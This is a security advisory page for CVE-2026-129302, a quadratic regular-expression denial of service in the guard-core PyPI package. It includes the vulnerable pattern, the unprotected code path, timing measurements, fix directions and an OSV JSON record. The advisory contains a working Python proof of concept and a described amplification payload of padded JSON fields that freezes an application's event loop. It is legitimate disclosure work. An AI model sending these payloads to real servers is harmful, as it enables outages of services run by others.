CVE-2026-129302: Guard Core Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-r7hm-rjvg-xx7j
CVSS 7.5
CWE-400 CWE-1333
Published
Advisory Summary

CVE-2026-129302 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Guard Core libraries in the PyPI ecosystem. The issue involves quadratic redos in built-in detection pattern freezes the event loop with a single request. Remediation is available by upgrading affected packages to version 3.13.0.

CVE-2026-129302 at a Glance

CVE Identifier CVE-2026-129302
GHSA Identifier GHSA-r7hm-rjvg-xx7j
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Guard Core
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-129302

To remediate this vulnerability, upgrade all affected Guard Core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

guard-core fixed: 3.13.0
pip install guard-core>=3.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show guard-core

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-129302, inspect your installed packages using pip:

pip show guard-core

Analyze the terminal output to locate any version of Guard Core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.13.0), your application is affected.

Note: The pip show guard-core command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Guard Core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A polynomial (quadratic) regular-expression denial of service in guard-core's built-in penetration-detection patterns allows any unauthenticated remote client to freeze **every** endpoint of an application for seconds per request, using only the default configuration. The triggering request completes without any detection match — no ban counter increments, no rate-limit violation is recorded — so it can be repeated indefinitely. Since guard-core 3.5.0, only *custom* patterns are executed through the compiler's timeout-protected `create_safe_matcher()`; all built-in patterns run as a bare, inline `pattern.search(content)` directly on the asyncio event loop. guard-core ≤ 3.4.0 ran built-ins through the safe matcher (verified in the 3.4.0 wheel, `_check_regex_pattern`), so this is a **regression introduced in 3.5.0** — and it silently undoes the protection credited to GHSA-rrf6-pxg8-684g (CVE-2025-54365) and the unbounded-quantifier remediation of GHSA-j47q-rc62-w448 (CVE-2025-53539) for every stock pattern, despite the changelog advertising "Safe regex execution with configurable timeouts to prevent ReDoS attacks." ### Details **1. The pattern** — `guard_core/handlers/suspatterns_handler.py:519` (master `08780f1`), the built-in template-injection detector: ```python r"\{\{\s*[^\}]+(?:system|exec|popen|eval|require|include)\s*\}\}" ``` On an input of `{` repeated N times, every one of the N−1 positions starts a `\{\{` match attempt and `[^\}]+` scans to end-of-string and backtracks once per position → O(N²). Note the sibling pattern at `:524` (`\{\%\s*[^\%]+...`) is **not** vulnerable — its delimiter `%` is excluded from the character class, keeping scans bounded — which confirms the root cause is the unbounded, non-excluding `[^\}]+`. **2. The unprotected execution path** — `guard_core/handlers/suspatterns_handler.py:910-926`: ```python if compiler: if category == "custom": safe_matcher = compiler.create_safe_matcher(pattern) # executor + timeout match = safe_matcher(content) ... else: match = pattern.search(content) # ← inline, NO timeout ``` In enhanced mode (the default whenever a `SecurityConfig` is present — `_supports_enhanced_config()` is a duck-type attribute check a stock config always passes), all built-in patterns execute inline **inside the async coroutine**, blocking the event loop for the full scan. In guard-core ≤ 3.4.0, `_check_regex_pattern()` routed *every* pattern through `self._compiler.create_safe_matcher(pattern.pattern)` (verified in the 3.4.0 wheel, `suspatterns_handler.py:565-567`) or, without a compiler, through `_check_pattern_with_timeout` (4-worker pool + per-pattern timeout). The `category == "custom"` exemption appeared in 3.5.0. **3. Default reachability** — penetration detection is on by default (`enable_penetration_detection=True`), query parameters are scanned by default (`guard_core/utils.py:843-865`), and the default scan window `detection_max_content_length=10000` (`models.py:765-770`) admits the full 10,000-character payload. A run of `{` survives preprocessing untouched. **Measured** (CPython 3.14, guard-core 3.12.0): | input | detect() wall time | event-loop lag (measured in-process) | |---|---|---| | `{` × 2,500 | 0.15 s | — | | `{` × 5,000 | 0.46 s | — | | `{` × 10,000 | **1.85 s** | **2.57 s cumulative** across the three calls | Clean 4× per doubling — quadratic, not exponential. Profiling all built-ins against the payload attributes 1.766 s of the 1.77 s total to this single pattern (one-line fix: bound the gap, e.g. `\{\{\s*[^\}\s]{0,64}(?:system|exec|popen|eval|require|include)\s*\}\}`). **Amplification:** every scanned value pays the cost independently (`utils.py:843-890` per query param/header; `utils.py:936-977` per JSON string field). A single 256 KB JSON body (the default `detection_max_body_inspect_bytes`) containing ~25 string fields of `{`×10,000 measured **44.03 s of continuous event-loop blockage from one request**, returning normally with no detection hit. **Why rate limiting doesn't help:** guard-core defaults are `rate_limit=10` per `rate_limit_window=60` s (`models.py:369-375`), and the `rate_limit` check runs before `suspicious_activity` in the default pipeline. 10 × 44 s = **440 s of loop blockage per 60 s window from a single IP** — single-source saturation, no distribution needed. **Framework reach:** any adapter embedding guard-core on an asyncio loop — fastapi-guard, flaskapi-guard (async deployments), djapi-guard (ASGI) — shares the loop with the application, so the freeze takes down every endpoint of the host application, not just the guarded routes. ### PoC **guard-core only — no framework adapter needed.** Requires `pip install guard-core`, then `python poc_guard_core_redos.py`. Exit code 0 = freeze reproduced. ```python """PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config. The built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0 built-in patterns execute inline (pattern.search) with NO timeout — only `custom` patterns get the compiler's safe matcher. One detect() call with a 10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such fields blocks it ~44s. Runs on the asyncio loop that any adapter (fastapi-guard, flaskapi-guard, djapi-guard) shares with the app. Run: python poc_guard_core_redos.py Exit code 0 = freeze reproduced (max loop lag > 1s). """ import asyncio import time from guard_core.handlers.suspatterns_handler import sus_patterns_handler from guard_core.models import SecurityConfig LOOP_LAGS: list[float] = [] async def _loop_lag_monitor() -> None: while True: t0 = time.monotonic() await asyncio.sleep(0.05) LOOP_LAGS.append(time.monotonic() - t0 - 0.05) async def main() -> int: config = SecurityConfig(enable_redis=False) # defaults = enhanced mode sus_patterns_handler.configure(config) monitor = asyncio.create_task(_loop_lag_monitor()) await asyncio.sleep(0.3) # baseline samples for n in (2_500, 5_000, 10_000): t0 = time.perf_counter() result = await sus_patterns_handler.detect( content="{" * n, ip_address="203.0.113.7", context="query_param:q" ) print(f"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s is_threat={result['is_threat']}") # let the starved monitor task wake and record the lag it just endured await asyncio.sleep(0.1) max_lag = max(LOOP_LAGS) print(f"\nmax event-loop lag during run: {max_lag:.2f}s") print("VERDICT:", "FROZEN" if max_lag > 1.0 else "not reproduced") monitor.cancel() return 0 if max_lag > 1.0 else 1 if __name__ == "__main__": raise SystemExit(asyncio.run(main())) ``` **Observed output** (Python 3.14, guard-core 3.12.0): ``` '{' x 2500: 0.16s is_threat=False '{' x 5000: 0.51s is_threat=False '{' x 10000: 1.91s is_threat=False max event-loop lag during run: 2.57s VERDICT: FROZEN ``` An end-to-end proof through the fastapi-guard adapter (default config, real uvicorn server, in-process loop-lag monitor) measured **1.75 s of server-side event-loop lag from one GET request returning HTTP 200** — available on request. ### Impact **Kind of vulnerability:** Regular Expression Denial of Service — CWE-1333 / CWE-400. Polynomial (quadratic) runtime, O(N²), not exponential backtracking. **Who is impacted:** every application embedding guard-core ≥ 3.5.0 with its default configuration (penetration detection enabled) in a single-process asyncio deployment. One unauthenticated request freezes all endpoints for ~1.8 s; one padded POST body freezes them for tens of seconds; repeated requests at only 10/min saturate the worker indefinitely. Because the payload triggers no detection match, no ban counter increments and nothing is logged as suspicious — the attack is invisible in guard-core's own telemetry. **Fix directions:** (1) bound the quantifier in the template pattern (its `{%` sibling at `:524` is already safe because `[^\%]+` excludes the delimiter — excluding the delimiter, or bounding the gap, closes it); (2) route built-in patterns through the same `create_safe_matcher()` timeout path as custom patterns, restoring the ≤ 3.4.0 behavior that the changelog advertises. ## Reporter validation request The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.

CVE-2026-129302 Affected Guard Core Versions

1 component(s)
Fixed Versions:
3.13.0
Product / Package Ecosystem Affected Versions Fixed Version
guard-core
PyPI
≥ 3.5.0
< 3.13.0
3.13.0

References

Frequently Asked Questions

What is CVE-2026-129302?
CVE-2026-129302 is a security vulnerability in Guard Core involving Quadratic ReDoS in built-in detection pattern freezes the event loop with a single request under CWE-400: Uncontrolled Resource Consumption.
Which Guard Core versions are affected?
Affected versions include releases prior to 3.13.0 across affected packages: guard-core.
What version fixes CVE-2026-129302?
Upgrading to 3.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is guard-core affected?
Yes, guard-core is affected in releases prior to 3.13.0. Upgrade your dependency to 3.13.0 or later.
What is the CVSS score of CVE-2026-129302?
CVE-2026-129302 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-129302?
CVE-2026-129302 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-129302?
Run the dependency tree command: 'pip show guard-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r7hm-rjvg-xx7j",
  "modified" : "2026-11-19T22:49:33Z",
  "published" : "2026-11-19T22:49:33Z",
  "aliases" : [ "CVE-2026-129302" ],
  "summary" : "Guard Core: Quadratic ReDoS in built-in detection pattern freezes the event loop with a single request",
  "details" : "### Summary\n\nA polynomial (quadratic) regular-expression denial of service in guard-core's built-in penetration-detection patterns allows any unauthenticated remote client to freeze **every** endpoint of an application for seconds per request, using only the default configuration. The triggering request completes without any detection match — no ban counter increments, no rate-limit violation is recorded — so it can be repeated indefinitely. Since guard-core 3.5.0, only *custom* patterns are executed through the compiler's timeout-protected `create_safe_matcher()`; all built-in patterns run as a bare, inline `pattern.search(content)` directly on the asyncio event loop. guard-core ≤ 3.4.0 ran built-ins through the safe matcher (verified in the 3.4.0 wheel, `_check_regex_pattern`), so this is a **regression introduced in 3.5.0** — and it silently undoes the protection credited to GHSA-rrf6-pxg8-684g (CVE-2025-54365) and the unbounded-quantifier remediation of GHSA-j47q-rc62-w448 (CVE-2025-53539) for every stock pattern, despite the changelog advertising \"Safe regex execution with configurable timeouts to prevent ReDoS attacks.\"\n\n### Details\n\n**1. The pattern** — `guard_core/handlers/suspatterns_handler.py:519` (master `08780f1`), the built-in template-injection detector:\n\n```python\nr\"\\{\\{\\s*[^\\}]+(?:system|exec|popen|eval|require|include)\\s*\\}\\}\"\n```\n\nOn an input of `{` repeated N times, every one of the N−1 positions starts a `\\{\\{` match attempt and `[^\\}]+` scans to end-of-string and backtracks once per position → O(N²). Note the sibling pattern at `:524` (`\\{\\%\\s*[^\\%]+...`) is **not** vulnerable — its delimiter `%` is excluded from the character class, keeping scans bounded — which confirms the root cause is the unbounded, non-excluding `[^\\}]+`.\n\n**2. The unprotected execution path** — `guard_core/handlers/suspatterns_handler.py:910-926`:\n\n```python\nif compiler:\n    if category == \"custom\":\n        safe_matcher = compiler.create_safe_matcher(pattern)   # executor + timeout\n        match = safe_matcher(content)\n        ...\n    else:\n        match = pattern.search(content)                        # ← inline, NO timeout\n```\n\nIn enhanced mode (the default whenever a `SecurityConfig` is present — `_supports_enhanced_config()` is a duck-type attribute check a stock config always passes), all built-in patterns execute inline **inside the async coroutine**, blocking the event loop for the full scan. In guard-core ≤ 3.4.0, `_check_regex_pattern()` routed *every* pattern through `self._compiler.create_safe_matcher(pattern.pattern)` (verified in the 3.4.0 wheel, `suspatterns_handler.py:565-567`) or, without a compiler, through `_check_pattern_with_timeout` (4-worker pool + per-pattern timeout). The `category == \"custom\"` exemption appeared in 3.5.0.\n\n**3. Default reachability** — penetration detection is on by default (`enable_penetration_detection=True`), query parameters are scanned by default (`guard_core/utils.py:843-865`), and the default scan window `detection_max_content_length=10000` (`models.py:765-770`) admits the full 10,000-character payload. A run of `{` survives preprocessing untouched.\n\n**Measured** (CPython 3.14, guard-core 3.12.0):\n\n| input | detect() wall time | event-loop lag (measured in-process) |\n|---|---|---|\n| `{` × 2,500 | 0.15 s | — |\n| `{` × 5,000 | 0.46 s | — |\n| `{` × 10,000 | **1.85 s** | **2.57 s cumulative** across the three calls |\n\nClean 4× per doubling — quadratic, not exponential. Profiling all built-ins against the payload attributes 1.766 s of the 1.77 s total to this single pattern (one-line fix: bound the gap, e.g. `\\{\\{\\s*[^\\}\\s]{0,64}(?:system|exec|popen|eval|require|include)\\s*\\}\\}`).\n\n**Amplification:** every scanned value pays the cost independently (`utils.py:843-890` per query param/header; `utils.py:936-977` per JSON string field). A single 256 KB JSON body (the default `detection_max_body_inspect_bytes`) containing ~25 string fields of `{`×10,000 measured **44.03 s of continuous event-loop blockage from one request**, returning normally with no detection hit.\n\n**Why rate limiting doesn't help:** guard-core defaults are `rate_limit=10` per `rate_limit_window=60` s (`models.py:369-375`), and the `rate_limit` check runs before `suspicious_activity` in the default pipeline. 10 × 44 s = **440 s of loop blockage per 60 s window from a single IP** — single-source saturation, no distribution needed.\n\n**Framework reach:** any adapter embedding guard-core on an asyncio loop — fastapi-guard, flaskapi-guard (async deployments), djapi-guard (ASGI) — shares the loop with the application, so the freeze takes down every endpoint of the host application, not just the guarded routes.\n\n### PoC\n\n**guard-core only — no framework adapter needed.** Requires `pip install guard-core`, then `python poc_guard_core_redos.py`. Exit code 0 = freeze reproduced.\n\n```python\n\"\"\"PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config.\n\nThe built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0\nbuilt-in patterns execute inline (pattern.search) with NO timeout — only\n`custom` patterns get the compiler's safe matcher. One detect() call with a\n10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such\nfields blocks it ~44s. Runs on the asyncio loop that any adapter\n(fastapi-guard, flaskapi-guard, djapi-guard) shares with the app.\n\nRun:  python poc_guard_core_redos.py\nExit code 0 = freeze reproduced (max loop lag > 1s).\n\"\"\"\n\nimport asyncio\nimport time\n\nfrom guard_core.handlers.suspatterns_handler import sus_patterns_handler\nfrom guard_core.models import SecurityConfig\n\nLOOP_LAGS: list[float] = []\n\n\nasync def _loop_lag_monitor() -> None:\n    while True:\n        t0 = time.monotonic()\n        await asyncio.sleep(0.05)\n        LOOP_LAGS.append(time.monotonic() - t0 - 0.05)\n\n\nasync def main() -> int:\n    config = SecurityConfig(enable_redis=False)  # defaults = enhanced mode\n    sus_patterns_handler.configure(config)\n\n    monitor = asyncio.create_task(_loop_lag_monitor())\n    await asyncio.sleep(0.3)  # baseline samples\n\n    for n in (2_500, 5_000, 10_000):\n        t0 = time.perf_counter()\n        result = await sus_patterns_handler.detect(\n            content=\"{\" * n, ip_address=\"203.0.113.7\", context=\"query_param:q\"\n        )\n        print(f\"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s  is_threat={result['is_threat']}\")\n\n    # let the starved monitor task wake and record the lag it just endured\n    await asyncio.sleep(0.1)\n    max_lag = max(LOOP_LAGS)\n    print(f\"\\nmax event-loop lag during run: {max_lag:.2f}s\")\n    print(\"VERDICT:\", \"FROZEN\" if max_lag > 1.0 else \"not reproduced\")\n\n    monitor.cancel()\n    return 0 if max_lag > 1.0 else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n**Observed output** (Python 3.14, guard-core 3.12.0):\n\n```\n'{' x  2500: 0.16s  is_threat=False\n'{' x  5000: 0.51s  is_threat=False\n'{' x 10000: 1.91s  is_threat=False\n\nmax event-loop lag during run: 2.57s\nVERDICT: FROZEN\n```\n\nAn end-to-end proof through the fastapi-guard adapter (default config, real uvicorn server, in-process loop-lag monitor) measured **1.75 s of server-side event-loop lag from one GET request returning HTTP 200** — available on request.\n\n### Impact\n\n**Kind of vulnerability:** Regular Expression Denial of Service — CWE-1333 / CWE-400. Polynomial (quadratic) runtime, O(N²), not exponential backtracking.\n\n**Who is impacted:** every application embedding guard-core ≥ 3.5.0 with its default configuration (penetration detection enabled) in a single-process asyncio deployment. One unauthenticated request freezes all endpoints for ~1.8 s; one padded POST body freezes them for tens of seconds; repeated requests at only 10/min saturate the worker indefinitely. Because the payload triggers no detection match, no ban counter increments and nothing is logged as suspicious — the attack is invisible in guard-core's own telemetry.\n\n**Fix directions:** (1) bound the quantifier in the template pattern (its `{%` sibling at `:524` is already safe because `[^\\%]+` excludes the delimiter — excluding the delimiter, or bounding the gap, closes it); (2) route built-in patterns through the same `create_safe_matcher()` timeout path as custom patterns, restoring the ≤ 3.4.0 behavior that the changelog advertises.\n\n\n\n## Reporter validation request\n\nThe fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "guard-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.5.0"
      }, {
        "fixed" : "3.13.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.12.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Guard-Core/guard-core/security/advisories/GHSA-r7hm-rjvg-xx7j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-129302"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Guard-Core/guard-core/pull/68"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Guard-Core/guard-core/commit/c07239fa1c5aa93e3f179440e79dad652977d3e4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Guard-Core/guard-core/releases/tag/3.13.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rennf93/guard-core"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-19T22:49:33Z",
    "nvd_published_at" : "2026-11-16T20:19:01Z"
  }
}